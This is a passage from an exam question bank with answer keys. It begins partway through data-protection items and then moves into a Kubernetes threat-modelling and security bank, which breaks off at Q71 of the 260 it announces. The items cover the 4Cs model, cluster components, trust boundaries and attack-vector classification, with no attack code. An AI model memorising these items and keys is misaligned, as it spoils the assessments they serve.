Answer: A. Preserve evidence and begin assessment promptly; B. Communicate high-risk breaches to affected persons; C. Aim for the 72-hour supervisory window where feasible; D. Notify the supervisory authority without undue delay where required

Why: Breach response should be prompt, risk-aware, documented, and coordinated.

Lecture source: p. 75

Q284. [Scenario] Which concept or action best fits this situation: A support team stores chat histories permanently even when tickets are closed and no retention need remains.

- A. Purpose limitation
- B. Accuracy
- C. Availability
- D. Storage limitation

Answer: D. Storage limitation

Why: The system should justify a retention period and delete or de-identify records when no longer needed.

Lecture source: pp. 11, 28

Q285. [Scenario] Which concept or action best fits this situation: A web form requests a health history for an ordinary product newsletter.

- A. Resilience
- B. Data portability
- C. Data minimization
- D. Extraterritoriality

Answer: C. Data minimization

Why: The form requests data that is unnecessary for the newsletter purpose.

Lecture source: pp. 20, 28

Q286. [Scenario] Which concept or action best fits this situation: A controller uses inaccurate contact information after the data subject requested correction.

- A. Availability
- B. Tokenization
- C. Accuracy
- D. Aggregation

Answer: C. Accuracy

Why: The controller should correct inaccurate personal data.

Lecture source: pp. 28, 61

Q287. [Scenario] Which concept or action best fits this situation: An analytics vendor processes data for a retailer under instructions and contract.

- A. Processor
- B. Data subject
- C. Anonymous dataset
- D. Supervisory authority

Answer: A. Processor

Why: The vendor acts on behalf of the controller.

Lecture source: p. 22

Q288. [Scenario] Which concept or action best fits this situation: An organization decides the purpose and means of a profiling system.

- A. Processor only
- B. Data subject only
- C. Controller
- D. DPA

Answer: C. Controller

Why: The organization determines why and how processing occurs.

Lecture source: p. 22

Q289. [Scenario] Which concept or action best fits this situation: A service asks for an informed opt-in before sending a voluntary newsletter.

- A. Legal obligation
- B. Vital interests
- C. Consent
- D. Public interest

Answer: C. Consent

Why: The scenario most directly matches informed consent.

Lecture source: p. 26

Q290. [Scenario] Which concept or action best fits this situation: Emergency clinicians access an unconscious patient's data to prevent serious harm.

- A. Marketing interests
- B. Vital interests
- C. Storage limitation
- D. Portability

Answer: B. Vital interests

Why: Emergency protection of a person can support vital-interests processing.

Lecture source: p. 26

Q291. [Scenario] Which concept or action best fits this situation: A system separates sensitive health records into a protected database with limited access.

- A. Compartmentalization and isolation
- B. Public disclosure
- C. Retention expansion
- D. Unlimited replication

Answer: A. Compartmentalization and isolation

Why: Isolation can reduce exposure of more sensitive personal data.

Lecture source: p. 64

Q292. [Scenario] Which concept or action best fits this situation: A dataset replaces exact municipality names with larger regional labels.

- A. Breach notification
- B. Re-coding
- C. Consent withdrawal
- D. Encryption-key rotation

Answer: B. Re-coding

Why: Re-coding generalizes values.

Lecture source: p. 52

Q293. [Scenario] Which concept or action best fits this situation: A dataset releases only group averages rather than row-level values.

- A. Aggregation
- B. Tokenization
- C. DPA coordination
- D. Purpose expansion

Answer: A. Aggregation

Why: Aggregation reports group summaries.

Lecture source: p. 51

Q294. [Scenario] Which concept or action best fits this situation: A user asks to download their data in a reusable structured format.

- A. Restriction
- B. Breach notice
- C. Storage limitation
- D. Portability

Answer: D. Portability

Why: Machine-readable exports support portability.

Lecture source: pp. 61-63

Q295. [Scenario] Which concept or action best fits this situation: A user disputes data accuracy and asks the organization to suspend processing temporarily.

- A. DPA governance
- B. Restriction
- C. Portability
- D. Public-interest processing

Answer: B. Restriction

Why: Restriction can pause or limit processing while an issue is resolved.

Lecture source: pp. 61-62

Q296. [Scenario] Which concept or action best fits this situation: A company learns of a high-risk personal-data breach involving many users.

- A. Notify the supervisory authority promptly and communicate with affected users as required
- B. Publish all compromised records
- C. Delete evidence
- D. Wait for an annual report

Answer: A. Notify the supervisory authority promptly and communicate with affected users as required

Why: High-risk breaches require prompt supervisory and affected-person handling.

Lecture source: p. 75

Q297. [Scenario] Which concept or action best fits this situation: A development team needs test records but not real customer identities.

- A. Copy production data without controls
- B. Disable authorization
- C. Use synthetic data
- D. Publish customer records

Answer: C. Use synthetic data

Why: Synthetic data reduces unnecessary exposure.

Lecture source: p. 72

Q298. [Scenario] Which concept or action best fits this situation: A dataset uses stable random identifiers but maintains a secret mapping to real names.

- A. Non-personal data by definition
- B. Pseudonymization
- C. Strict anonymization
- D. Data destruction

Answer: B. Pseudonymization

Why: The mapping allows re-attribution with additional information.

Lecture source: pp. 42, 46

Q299. [Scenario] Which concept or action best fits this situation: A released dataset lets an attacker connect visits by the same device fingerprint.

- A. Availability
- B. Linkability
- C. Portability
- D. Retention only

Answer: B. Linkability

Why: Stable identifiers allow records to be connected.

Lecture source: pp. 40-43

Q300. [Scenario] Which concept or action best fits this situation: A released dataset allows a rare individual record to be isolated.

- A. DPO designation
- B. Breach notification
- C. Availability
- D. Singling out

Answer: D. Singling out

Why: Isolation of an individual record is singling out.

Lecture source: p. 43

Q301. [Scenario] Which concept or action best fits this situation: An auxiliary dataset allows an attacker to predict a sensitive condition from age, area, and income.

- A. Backup restoration
- B. Availability
- C. Purpose limitation only
- D. Inference

Answer: D. Inference

Why: Attribute prediction from other fields is inference.

Lecture source: p. 43

Q302. [Scenario] Which concept or action best fits this situation: A company makes data-protection practices impossible for users to understand.

- A. Physical isolation only
- B. Extraterritoriality
- C. Availability
- D. Transparency

Answer: D. Transparency

Why: Users need understandable information about processing.

Lecture source: pp. 28, 39, 76

Q303. [Scenario] Which concept or action best fits this situation: A company has no evidence showing that privacy controls operate.

- A. Anonymity-set size
- B. Accountability
- C. Aggregation
- D. Re-coding

Answer: B. Accountability

Why: The controller should be able to demonstrate compliance.

Lecture source: pp. 28, 37-39

Lecture 12 - Threat Modeling II and Kubernetes Security

Cleaned exam-style MCQ and MAQ question bank

260 questions. Every item includes its correct answer and a concise explanation immediately below the options.

Exam-style rule: the source lecture defines the technical scope, but the questions are phrased as normal cybersecurity and Kubernetes-security exam questions. Questions about lecturers, dates, course plans, mock-test passwords, exam logistics, reference-list recall, slide positions, logos, and screenshots are excluded.

The Lecture 12 bank focuses on the new technical content: Kubernetes threat modeling, architecture, attack trees, compromised-container paths, persistence, security features, hardening, and defensive tooling. The brief Threat Modeling I recap is included only where it supports applied questions.

Source-page references are study-navigation aids only; they are not part of the exam-style wording.

Coverage map

Section	Questions
1. Threat-modeling lifecycle and the Kubernetes 4Cs	24
2. Kubernetes architecture, data flows, and trust boundaries	35
3. Main Kubernetes attack vectors and security-boundary reasoning	20
4. Denial-of-service attack trees and availability scenarios	38
5. Container compromise, malicious images, secrets, and remote execution	21
6. Persistence, privilege escalation, and compromised-worker scenarios	24
7. Kubernetes security features and cluster-hardening practices	39
8. Open-source tooling and secure operational workflows	20
9. Integrated scenarios, MAQs, and misconception checks	39
Total	260

Searchable quick reference - threat modeling and the Kubernetes 4Cs

Item	Meaning
Threat-modeling lifecycle	Model the system -> find threats -> address threats -> validate
Cloud	Security of the underlying cloud infrastructure
Cluster	Kubernetes cluster-level security
Container	Dockerfile or Containerfile, base image, packages, and container configuration
Code	Security of the actual application implementation
Key modeling elements	Components, data stores, data flows, trust boundaries, and machine segregation

Searchable quick reference - architecture and primary threat vectors

Item	Meaning
Control plane	API server, etcd, scheduler, controller manager, and cloud integrations
Worker node	Kubelet, container runtime, kube-proxy, pods, and node networking
DoS	Exhaust resources or disrupt state, scheduling, networking, or node-join paths
Compromised container	Remote execution foothold for pivoting and persistence
Token compromise	Stolen token may enable unauthorized API requests according to RBAC permissions
Network endpoint exposure	Reachability depends on routing and network-policy decisions
RBAC issue	Overly broad roles or bindings increase the blast radius of stolen identities

Searchable quick reference - controls and hardening

Item	Meaning
Authentication	Establish identity: for example, client certificates, OpenID, or token mechanisms
Authorization	Limit permitted actions: RBAC, ABAC, Node, and Webhook are examples
Audit logging	Record and periodically review security-relevant events
Network policies	Restrict pod and service communication paths
Kubernetes Secrets	Use for sensitive values instead of ordinary ConfigMaps; still restrict access
Image hardening	Review base images, keep them small, avoid :latest, and scan periodically
Runtime hardening	Avoid root, excessive privileges, unnecessary host mounts, and exposed runtime sockets
Cluster transport	Apply a TLS checklist for sensitive cluster communications

Searchable quick reference - defensive tools

Item	Meaning
kube-bench	Checks whether Kubernetes is securely deployed against hardening expectations
Kubesecc	Security-risk analysis for Kubernetes resources or manifests
Clair	Static analysis of vulnerabilities in container images
Kubescape	Scans clusters, manifests, repositories, registries, and images
Notary	Signs and verifies artifacts; supports secure software distribution
CNCF security landscape	Discovery resource for the cloud-native security ecosystem

Searchable quick reference - supplemental availability endpoints from the attack tree

Item	Meaning
API server	6443
etcd client	2379
etcd peer	2380
DNS	53
Scheduler	10251 or 10259
Controller manager	10252 or 10257
Kube-proxy	10256 or 10249
Kubelet	10255, 10250, or 10248

1. Threat-modeling lifecycle and the Kubernetes 4Cs

24 questions. Correct answers and explanations appear immediately below each item.

Q1. [Single answer] Which sequence best represents a complete threat-modeling workflow?

- A. Model the system, find threats, address threats, and validate the result
- B. Encrypt all traffic and skip the analysis of assets and trust boundaries
- C. Deploy immediately, wait for an incident, and then write documentation
- D. Choose a scanner, disable logging, and assume the system is secure

Answer: A. Model the system, find threats, address threats, and validate the result

Why: Threat modeling is iterative: understand the system, identify threats, select treatments, and validate that the treatments and model are adequate.

Lecture source: p. 4

Q2. [Single answer] What is the main purpose of creating an application diagram during threat modeling?

- A. To document only the user-interface color scheme
- B. To understand components, data flows, and boundaries before reasoning about threats
- C. To replace testing and validation permanently
- D. To prove that every component is already secure

Answer: B. To understand components, data flows, and boundaries before reasoning about threats

Why: A system model provides the abstraction needed to reason about attack paths and security requirements.

Lecture source: p. 4

Q3. [Scenario] A team identifies several threats but never checks whether the selected controls actually mitigate them. Which threat-modeling step is missing?

- A. Validation
- B. Cloud billing analysis
- C. System modeling
- D. Asset inventory only

Answer: A. Validation

Why: Validation checks that identified threats were addressed and that the model remains fit for purpose.

Lecture source: p. 4

Q4. [Scenario] A team starts by drawing components and communication paths for a cloud-native application. Which threat-modeling step is it performing?

- A. Validate mitigations
- B. Address threats
- C. Perform incident recovery
- D. Model the system

Answer: D. Model the system

Why: Creating an application diagram is part of system modeling.

Lecture source: p. 4

Q5. [EXCEPT / NOT] Which activity is NOT normally part of the threat-modeling lifecycle?

- A. Validating the model and treatments
- B. Ignoring the system architecture because security controls are already available
- C. Identifying threats
- D. Selecting mitigations

Answer: B. Ignoring the system architecture because security controls are already available

Why: Controls must be selected in the context of an understood system and its threats.

Lecture source: p. 4

Q6. [Select all that apply] Which activities belong to a sound threat-modeling process? Select all that apply.

- A. Skip boundaries because Kubernetes is standardized
- B. Mitigate or otherwise address threats
- C. Identify threats
- D. Create a system model
- E. Validate the model and treatments

Answer: B. Mitigate or otherwise address threats; C. Identify threats; D. Create a system model; E. Validate the model and treatments

Why: Threat modeling requires all four lifecycle activities; standardized platforms still have deployment-specific threats.

Lecture source: p. 4

Q7. [True / False] Threat modeling ends as soon as an application diagram has been drawn.

- A. False
- B. True

Answer: A. False

Why: The model is a starting point. Threat identification, treatment, and validation must follow.

Lecture source: p. 4

Q8. [True / False] Security requirements should influence the threat-modeling process.

- A. True
- B. False

Answer: A. True

Why: The lifecycle diagram links security requirements with system modeling and validation.

Lecture source: p. 4

Q9. [Classification] Within the 4Cs model, which layer is primarily responsible for this concern: A weakness in the underlying provider environment or cloud infrastructure?

- A. Code
- B. Cloud
- C. Container
- D. Cluster

Answer: B. Cloud

Why: Security of the cloud infrastructure.

Lecture source: p. 6

Q10. [Single answer] Which description best matches the Cloud layer in the Kubernetes 4Cs model?

- A. The practice of storing every secret in a public configuration file
- B. A replacement for application testing and code review
- C. The process of disabling authorization to simplify operations
- D. Security of the cloud infrastructure

Answer: D. Security of the cloud infrastructure

Why: The Cloud layer covers security of the cloud infrastructure.

Lecture source: p. 6

Q11. [Classification] Within the 4Cs model, which layer is primarily responsible for this concern: A misconfigured API server, scheduler, etcd deployment, or cluster authorization layer?

- A. Cloud
- B. Cluster
- C. Container
- D. Code

Answer: B. Cluster

Why: Kubernetes cluster-level security.

Lecture source: p. 6

Q12. [Single answer] Which description best matches the Cluster layer in the Kubernetes 4Cs model?

- A. The process of disabling authorization to simplify operations
- B. Kubernetes cluster-level security
- C. A replacement for application testing and code review
- D. The practice of storing every secret in a public configuration file

Answer: B. Kubernetes cluster-level security

Why: The Cluster layer covers kubernetes cluster-level security.

Lecture source: p. 6

Q13. [Classification] Within the 4Cs model, which layer is primarily responsible for this concern: A vulnerable base image or unsafe container build configuration?

- A. Code
- B. Cluster
- C. Container
- D. Cloud

Answer: C. Container

Why: Security of the Dockerfile or Containerfile, image, and container packaging.

Lecture source: p. 6

Q14. [Single answer] Which description best matches the Container layer in the Kubernetes 4Cs model?

- A. The practice of storing every secret in a public configuration file
- B. Security of the Dockerfile or Containerfile, image, and container packaging
- C. The process of disabling authorization to simplify operations
- D. A replacement for application testing and code review

Answer: B. Security of the Dockerfile or Containerfile, image, and container packaging

Why: The Container layer covers security of the dockerfile or containerfile, image, and container packaging.

Lecture source: p. 6

Q15. [Classification] Within the 4Cs model, which layer is primarily responsible for this concern: An application-level input-validation flaw inside a workload?

- A. Cloud
- B. Code
- C. Container
- D. Cluster

Answer: B. Code

Why: Security of the actual code implementation.

Lecture source: p. 6

Q16. [Single answer] Which description best matches the Code layer in the Kubernetes 4Cs model?

- A. A replacement for application testing and code review
- B. The practice of storing every secret in a public configuration file
- C. The process of disabling authorization to simplify operations
- D. Security of the actual code implementation

Answer: D. Security of the actual code implementation

Why: The Code layer covers security of the actual code implementation.

Lecture source: p. 6

Q17. [True / False] The 4Cs model treats Kubernetes security as a single control-plane problem only.

- A. True
- B. False

Answer: B. False

Why: The model separates cloud, cluster, container, and code concerns.

Lecture source: p. 6

Q18. [True / False] A vulnerable base image is primarily a container-layer concern in the 4Cs model.

A. False

B. True

Answer: B. True

Why: Container images and build files belong to the container layer.

Lecture source: p. 6

Q19. [True / False] An SQL injection flaw in an application running in a pod is primarily a code-layer concern.

A. True

B. False

Answer: A. True

Why: The weakness is in the application implementation, even though the application is deployed in Kubernetes.

Lecture source: p. 6

Q20. [True / False] A cloud-provider infrastructure weakness can be ignored when modeling a Kubernetes deployment.

A. False

B. True

Answer: A. False

Why: The cloud layer remains part of the nested security model.

Lecture source: p. 6

Q21. [Comparison] Why is the 4Cs model useful when threat-modeling a Kubernetes deployment?

A. It guarantees that a cloud provider will configure every cluster correctly

B. It prevents teams from assuming that one layer of controls automatically secures every other layer

C. It proves that application code cannot introduce vulnerabilities

D. It removes the need to inspect container images

Answer: B. It prevents teams from assuming that one layer of controls automatically secures every other layer

Why: The model encourages defense-in-depth reasoning across nested cloud-native layers.

Lecture source: p. 6

Q22. [Scenario] A cluster is well configured, but a workload image includes an unnecessary vulnerable package. Which response best follows the 4Cs model?

A. Disable audit logs to reduce noise

B. Treat it solely as a cloud-provider incident

C. Treat it as a container-layer issue and rebuild the image with a smaller, reviewed base

D. Ignore it because cluster RBAC is enabled

Answer: C. Treat it as a container-layer issue and rebuild the image with a smaller, reviewed base

Why: Controls at one layer do not eliminate weaknesses at another layer.

Lecture source: pp. 6, 16

Q23. [Scenario] A workload uses safe images and good code, but the cluster permits overly broad administrative actions. Which layer requires the most immediate attention?

A. Code

B. Cluster

C. User-interface layer

D. Container

Answer: B. Cluster

Why: Authorization and API-level misconfiguration are cluster-layer concerns.

Lecture source: pp. 6, 9, 15

Q24. [Scenario] An organization secures Kubernetes but leaves its underlying cloud account poorly protected. What is the best conclusion?

- A. Container-image scanning is the only relevant control
- B. The cluster automatically compensates for any cloud-account weakness
- C. The deployment remains exposed because cloud-layer security is part of the model
- D. Only application code can cause meaningful risk

Answer: C. The deployment remains exposed because cloud-layer security is part of the model

Why: The 4Cs model is nested; a weakness in an outer layer can undermine inner-layer controls.

Lecture source: p. 6

2. Kubernetes architecture, data flows, and trust boundaries

35 questions. Correct answers and explanations appear immediately below each item.

Q25. [Single answer] Which two broad categories form the main Kubernetes cluster architecture?

- A. The web browser and database only
- B. The public cloud and source-code repository only
- C. The firewall and antivirus only
- D. The control plane and worker nodes

Answer: D. The control plane and worker nodes

Why: The lecture models the cluster using a control plane and worker nodes.

Lecture source: p. 7

Q26. [Component identification] Which Kubernetes component is best described as follows: The central interface through which clients and cluster components interact with Kubernetes?

- A. Pod
- B. Image repository
- C. Container runtime
- D. API server

Answer: D. API server

Why: The central interface through which clients and cluster components interact with Kubernetes.

Lecture source: pp. 7-8

Q27. [Scenario] A threat model contains this situation: A component receiving a deployment request and coordinating access to cluster state. Which component is most directly involved?

- A. Scheduler
- B. API server
- C. etcd
- D. Controller manager

Answer: B. API server

Why: The central interface through which clients and cluster components interact with Kubernetes.

Lecture source: pp. 7-8

Q28. [Component identification] Which Kubernetes component is best described as follows: The key-value data store used for cluster state?

- A. etcd
- B. Kubelet
- C. Container runtime
- D. Kube-proxy

Answer: A. etcd

Why: The key-value data store used for cluster state.

Lecture source: pp. 7-8

Q29. [Scenario] A threat model contains this situation: A component whose loss of consistency or quorum can disrupt the cluster. Which component is most directly involved?

- A. Scheduler
- B. Cloud controller manager
- C. etcd
- D. Image repository

Answer: C. etcd

Why: The key-value data store used for cluster state.

Lecture source: pp. 7-8

Q30. [Component identification] Which Kubernetes component is best described as follows: The control-plane component that selects placement for new pods?

- A. Controller manager
- B. Scheduler
- C. API server
- D. Kubelet

Answer: B. Scheduler

Why: The control-plane component that selects placement for new pods.

Lecture source: pp. 7-8

Q31. [Scenario] A threat model contains this situation: A component that binds a pending workload to an appropriate node. Which component is most directly involved?

- A. Pod
- B. Image repository
- C. Scheduler
- D. etcd

Answer: C. Scheduler

Why: The control-plane component that selects placement for new pods.

Lecture source: pp. 7-8

Q32. [Component identification] Which Kubernetes component is best described as follows: The control-plane component that runs reconciliation or control loops?

- A. Scheduler
- B. Controller manager
- C. Pod
- D. API server

Answer: B. Controller manager

Why: The control-plane component that runs reconciliation or control loops.

Lecture source: pp. 7-8

Q33. [Scenario] A threat model contains this situation: A component working to move observed cluster state toward desired state. Which component is most directly involved?

- A. API server
- B. Cloud controller manager
- C. Controller manager
- D. Scheduler

Answer: C. Controller manager

Why: The control-plane component that runs reconciliation or control loops.

Lecture source: pp. 7-8

Q34. [Component identification] Which Kubernetes component is best described as follows: The component that integrates Kubernetes with cloud-provider APIs?

- A. Kubelet
- B. Image repository
- C. Container runtime
- D. Cloud controller manager

Answer: D. Cloud controller manager

Why: The component that integrates Kubernetes with cloud-provider APIs.

Lecture source: pp. 7-8

Q35. [Scenario] A threat model contains this situation: A component coordinating cloud-provider-specific resources. Which component is most directly involved?

- A. Kube-proxy
- B. Cloud controller manager
- C. Pod
- D. Scheduler

Answer: B. Cloud controller manager

Why: The component that integrates Kubernetes with cloud-provider APIs.

Lecture source: pp. 7-8

Q36. [Component identification] Which Kubernetes component is best described as follows: The node agent responsible for managing workloads on a worker node?

- A. Kube-proxy
- B. Cloud controller manager
- C. Image repository
- D. Kubelet

Answer: D. Kubelet

Why: The node agent responsible for managing workloads on a worker node.

Lecture source: pp. 7-8

Q37. [Scenario] A threat model contains this situation: A worker-node component that ensures containers for pods are running. Which component is most directly involved?

- A. Kubelet
- B. etcd
- C. Kube-proxy
- D. Scheduler

Answer: A. Kubelet

Why: The node agent responsible for managing workloads on a worker node.

Lecture source: pp. 7-8

Q38. [Component identification] Which Kubernetes component is best described as follows: The software responsible for executing containers?

- A. Image repository
- B. Container runtime
- C. Scheduler
- D. Controller manager

Answer: B. Container runtime

Why: The software responsible for executing containers.

Lecture source: pp. 7-8

Q39. [Scenario] A threat model contains this situation: A worker-node component that starts and runs containers. Which component is most directly involved?

- A. etcd
- B. Scheduler
- C. Kube-proxy
- D. Container runtime

Answer: D. Container runtime

Why: The software responsible for executing containers.

Lecture source: pp. 7-8

Q40. [Component identification] Which Kubernetes component is best described as follows: The node networking component associated with service traffic and packet-forwarding rules?

- A. Container runtime
- B. Kube-proxy
- C. Pod
- D. Kubelet

Answer: B. Kube-proxy

Why: The node networking component associated with service traffic and packet-forwarding rules.

Lecture source: pp. 7-8

Q41. [Scenario] A threat model contains this situation: A worker-node component whose disruption can prevent service-network updates. Which component is most directly involved?

- A. Controller manager
- B. Kube-proxy
- C. Kubelet
- D. Pod

Answer: B. Kube-proxy

Why: The node networking component associated with service traffic and packet-forwarding rules.

Lecture source: pp. 7-8

Q42. [Component identification] Which Kubernetes component is best described as follows: A Kubernetes workload unit that can contain one or more containers?

- A. Container runtime
- B. etcd
- C. Cloud controller manager
- D. Pod

Answer: D. Pod

Why: A Kubernetes workload unit that can contain one or more containers.

Lecture source: pp. 7-8

Q43. [Scenario] A threat model contains this situation: The unit scheduled to a worker node. Which component is most directly involved?

- A. Kube-proxy
- B. Pod
- C. Controller manager
- D. Container runtime

Answer: B. Pod

Why: A Kubernetes workload unit that can contain one or more containers.

Lecture source: pp. 7-8

Q44. [Component identification] Which Kubernetes component is best described as follows: A store for container images, manifests, and related blobs?

- A. Image repository
- B. Cloud controller manager
- C. Container runtime
- D. Scheduler

Answer: A. Image repository

Why: A store for container images, manifests, and related blobs.

Lecture source: pp. 7-8

Q45. [Scenario] A threat model contains this situation: A supply-chain location that can be poisoned if write credentials are stolen. Which component is most directly involved?

- A. Pod
- B. Cloud controller manager
- C. Container runtime
- D. Image repository

Answer: D. Image repository

Why: A store for container images, manifests, and related blobs.

Lecture source: pp. 7-8

Q46. [Comparison] Which statement best distinguishes the control plane from worker nodes?

- A. Worker nodes define every authorization rule, while the control plane only stores container images
- B. There is no meaningful architectural distinction
- C. The control plane runs only user-facing web pages, while workers contain no runtime software
- D. The control plane manages cluster state and coordination, while worker nodes execute workloads

Answer: D. The control plane manages cluster state and coordination, while worker nodes execute workloads

Why: The architectural split matters because threats and controls differ across management and execution components.

Lecture source: p. 7

Q47. [Select all that apply] Which components are normally associated with the control plane? Select all that apply.

- A. etcd
- B. Container runtime
- C. Controller manager
- D. API server
- E. Kubelet
- F. Scheduler

Answer: A. etcd; C. Controller manager; D. API server; F. Scheduler

Why: The API server, etcd, scheduler, and controller manager are control-plane components. Kubelet and the runtime are node components.

Lecture source: p. 7

Q48. [Select all that apply] Which components are normally associated with worker nodes? Select all that apply.

- A. Pods
- B. etcd as the central cluster-state store
- C. Scheduler as the control-plane placement component
- D. Kubelet
- E. Kube-proxy
- F. Container runtime

Answer: A. Pods; D. Kubelet; E. Kube-proxy; F. Container runtime

Why: Workers host the node agent, runtime, networking component, and scheduled workloads.

Lecture source: p. 7

Q49. [Scenario] An attacker prevents the scheduler from operating but existing containers continue running temporarily. Which capability is most directly affected?

- A. Encryption of every database record
- B. Placement of new or restarted pods
- C. Verification of signed container artifacts only
- D. Application source-code compilation

Answer: B. Placement of new or restarted pods

Why: The scheduler is important for assigning pending workloads to nodes.

Lecture source: pp. 7, 11

Q50. [Scenario] A threat model shows a component reading and writing the cluster-state store. Which relationship is being represented?

- A. A browser directly editing a container image
- B. A user bypassing all control-plane interfaces by design
- C. The API server interacting with etcd
- D. A pod replacing the cloud-provider API

Answer: C. The API server interacting with etcd

Why: The architecture and threat-model diagram show the API server reading and writing cluster state in etcd.

Lecture source: pp. 7-8

Q51. [Scenario] A developer submits a deployment request. Which control-plane component is the primary entry point for processing that request?

- A. Image cache
- B. Kube-proxy
- C. Container runtime
- D. API server

Answer: D. API server

Why: The API server is the central interface for cluster operations.

Lecture source: pp. 7-8

Q52. [Diagram interpretation] In a Kubernetes threat-model diagram, what does a data-flow arrow represent?

- A. An active system element that performs work
- B. The movement of information or requests between components
- C. A separation showing components placed on different machines or zones
- D. A location where information is persisted

Answer: B. The movement of information or requests between components

Why: A data-flow arrow represents the movement of information or requests between components.

Lecture source: p. 8

Q53. [Diagram interpretation] In a Kubernetes threat-model diagram, what does a trust boundary represent?

- A. A location where information is persisted
- B. An active system element that performs work
- C. A boundary across which assumptions or trust levels change
- D. The movement of information or requests between components

Answer: C. A boundary across which assumptions or trust levels change

Why: A trust boundary represents a boundary across which assumptions or trust levels change.

Lecture source: p. 8

Q54. [Diagram interpretation] In a Kubernetes threat-model diagram, what does a machine-segregation boundary represent?

- A. An active system element that performs work
- B. The movement of information or requests between components
- C. A boundary across which assumptions or trust levels change
- D. A separation showing components placed on different machines or zones

Answer: D. A separation showing components placed on different machines or zones

Why: A machine-segregation boundary represents a separation showing components placed on different machines or zones.

Lecture source: p. 8

Q55. [Diagram interpretation] In a Kubernetes threat-model diagram, what does a process or component represent?

- A. The movement of information or requests between components
- B. An active system element that performs work
- C. A boundary across which assumptions or trust levels change
- D. A location where information is persisted

Answer: B. An active system element that performs work

Why: A process or component represents an active system element that performs work.

Lecture source: p. 8

Q56. [Diagram interpretation] In a Kubernetes threat-model diagram, what does a data store represent?

- A. A separation showing components placed on different machines or zones
- B. An active system element that performs work
- C. A location where information is persisted
- D. A boundary across which assumptions or trust levels change

Answer: C. A location where information is persisted

Why: A data store represents a location where information is persisted.

Lecture source: p. 8

Q57. [Scenario] A communication path crosses from a user-controlled area into the cluster control plane. Why should a threat model mark the crossing clearly?

- A. Boundaries are decorative and have no security relevance
- B. The crossing may require changed trust assumptions, validation, authentication, and authorization
- C. The crossing proves that the request is safe
- D. The crossing automatically encrypts the request

Answer: B. The crossing may require changed trust assumptions, validation, authentication, and authorization

Why: Trust-boundary crossings are high-value points for threat analysis.

Lecture source: p. 8

Q58. [True / False] A threat-model diagram should represent persistent stores such as etcd differently from active processes.

- A. True
- B. False

Answer: A. True

Why: Data stores and processes have different roles and attack surfaces.

Lecture source: p. 8

Q59. [True / False] A trust boundary is useful only for network cables and never for logical privilege changes.

- A. True
- B. False

Answer: B. False

Why: Trust boundaries can capture logical changes in trust and privilege as well as physical or network separations.

Lecture source: p. 8

3. Main Kubernetes attack vectors and security-boundary reasoning

20 questions. Correct answers and explanations appear immediately below each item.

Q60. [Attack-vector classification] Which Kubernetes attack vector best matches this scenario: Exhaust resources or disrupt critical components so that the cluster cannot function normally?

- A. Denial of service
- B. Service-token compromise
- C. RBAC misconfiguration
- D. Exposed network endpoint

Answer: A. Denial of service

Why: This is a denial of service scenario. Its primary security focus is availability.

Lecture source: p. 9

Q61. [Single answer] Which statement best describes the risk created by denial of service?

- A. It removes the need for authentication and authorization
- B. It automatically reduces the number of reachable services
- C. Exhaust resources or disrupt critical components so that the cluster cannot function normally
- D. It guarantees that every cluster operation will be audited correctly

Answer: C. Exhaust resources or disrupt critical components so that the cluster cannot function normally

Why: Denial of service matters because it can create availability.

Lecture source: p. 9

Q62. [Attack-vector classification] Which Kubernetes attack vector best matches this scenario: Use a workload as a remote execution point and as a foothold for further actions?

- A. Denial of service
- B. Service-token compromise
- C. RBAC misconfiguration
- D. Compromised container

Answer: D. Compromised container

Why: This is a compromised container scenario. Its primary security focus is execution foothold.

Lecture source: p. 9

Q63. [Single answer] Which statement best describes the risk created by compromised container?

- A. It removes the need for authentication and authorization
- B. It automatically reduces the number of reachable services
- C. Use a workload as a remote execution point and as a foothold for further actions
- D. It guarantees that every cluster operation will be audited correctly

Answer: C. Use a workload as a remote execution point and as a foothold for further actions

Why: Compromised container matters because it can create execution foothold.

Lecture source: p. 9

Q64. [Attack-vector classification] Which Kubernetes attack vector best matches this scenario: Use a stolen token to make unauthorized requests to the cluster API?

- A. Exposed network endpoint
- B. RBAC misconfiguration
- C. Service-token compromise
- D. Denial of service

Answer: C. Service-token compromise

Why: This is a service-token compromise scenario. Its primary security focus is unauthorized api access.

Lecture source: p. 9

Q65. [Single answer] Which statement best describes the risk created by service-token compromise?

- A. Use a stolen token to make unauthorized requests to the cluster API
- B. It automatically reduces the number of reachable services
- C. It guarantees that every cluster operation will be audited correctly
- D. It removes the need for authentication and authorization

Answer: A. Use a stolen token to make unauthorized requests to the cluster API

Why: Service-token compromise matters because it can create unauthorized api access.

Lecture source: p. 9

Q66. [Attack-vector classification] Which Kubernetes attack vector best matches this scenario: Reach a service or pod endpoint because network-policy controls permit the path?

- A. Denial of service
- B. Exposed network endpoint
- C. RBAC misconfiguration
- D. Compromised container

Answer: B. Exposed network endpoint

Why: This is a exposed network endpoint scenario. Its primary security focus is network exposure.

Lecture source: p. 9

Q67. [Single answer] Which statement best describes the risk created by exposed network endpoint?

- A. It guarantees that every cluster operation will be audited correctly
- B. Reach a service or pod endpoint because network-policy controls permit the path
- C. It removes the need for authentication and authorization
- D. It automatically reduces the number of reachable services

Answer: B. Reach a service or pod endpoint because network-policy controls permit the path

Why: Exposed network endpoint matters because it can create network exposure.

Lecture source: p. 9

Q68. [Attack-vector classification] Which Kubernetes attack vector best matches this scenario: Gain excessive capabilities because roles or bindings grant more authority than intended?

- A. Compromised container
- B. Exposed network endpoint
- C. Denial of service
- D. RBAC misconfiguration

Answer: D. RBAC misconfiguration

Why: This is a rbac misconfiguration scenario. Its primary security focus is authorization failure.

Lecture source: p. 9

Q69. [Single answer] Which statement best describes the risk created by rbac misconfiguration?

- A. It guarantees that every cluster operation will be audited correctly
- B. It removes the need for authentication and authorization
- C. Gain excessive capabilities because roles or bindings grant more authority than intended
- D. It automatically reduces the number of reachable services

Answer: C. Gain excessive capabilities because roles or bindings grant more authority than intended

Why: RBAC misconfiguration matters because it can create authorization failure.

Lecture source: p. 9

Q70. [Scenario] A stolen service-account token is accepted by the API server and the associated role can list secrets. What is the most accurate root problem?

- A. A harmless logging event
- B. Token compromise combined with excessive authorization
- C. A cloud billing failure only
- D. A code-formatting issue in an unrelated workload

Answer: B. Token compromise combined with excessive authorization

Why: The token provides an identity, and overly broad authorization turns the stolen token into a high-impact attack path.

Lecture source: pp. 9, 14-15

Q71. [Scenario] A pod can reach an internal service even though the service should be isolated. Which control area deserves immediate review?

- A. Network policies
- B. Cloud invoice retention
- C. Developer workstation screen brightness
- D. Container-image tag naming only

Answer: A. Network policies

Why: The lecture emphasizes that pod-to-pod communication should be constrained with network policies.

Lecture source: pp. 9, 15

